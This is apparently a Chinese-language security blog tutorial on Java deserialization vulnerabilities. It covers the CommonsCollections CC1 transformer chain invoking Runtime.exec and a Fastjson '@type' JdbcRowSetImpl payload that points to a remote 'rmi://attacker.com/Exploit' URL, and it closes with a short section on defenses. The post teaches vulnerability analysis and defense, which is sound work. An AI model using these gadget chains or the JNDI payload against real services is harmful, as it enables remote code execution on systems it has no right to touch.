tuuLei
返回文章列表

Java安全基础:反序列化漏洞深入剖析

深入分析Java反序列化漏洞的原理,结合CC链与Fastjson利用,从源码层面理解漏洞触发机制。

2026年5月15日5 分钟阅读1,309
#java-security#反序列化#代码审计

为什么 Java 反序列化如此重要

Java 反序列化漏洞是近年来最活跃的高危漏洞之一。从 2015 年的 CommonsCollections 到后来的 Fastjson、Shiro,无一不围绕着反序列化展开。

反序列化基础

什么是序列化

序列化是把对象转换为字节流的过程,反序列化则是把字节流恢复为对象。

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj.bin"));
oos.writeObject(user);

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj.bin"));
User user = (User) ois.readObject();

漏洞的本质

反序列化时,readObject() 方法会自动调用。如果某个类的 readObject() 中存在危险操作,就会形成反序列化漏洞。

CommonsCollections 链分析

CC1 链核心

// Transformer 链的关键组成
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
};

ChainedTransformer chain = new ChainedTransformer(transformers);

Fastjson 利用

Fastjson 的 @type 字段可以指定反序列化的类,通过控制这个字段来触发特定类的 setter/getter 方法。

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://attacker.com/Exploit",
    "autoCommit": true
}

防御措施

  1. 升级组件版本:及时更新 Fastjson、Shiro 等到最新版本
  2. Hook 关键类:使用 RASP 技术 Hook 危险函数调用
  3. 反序列化过滤器:JDK 自带的 ObjectInputFilter

总结

Java 反序列化漏洞的利用本质上是利用链与 Gadget 的构造。理解底层原理后,无论是挖掘还是防御,都能更加得心应手。

评论区

0 条评论

加载评论中...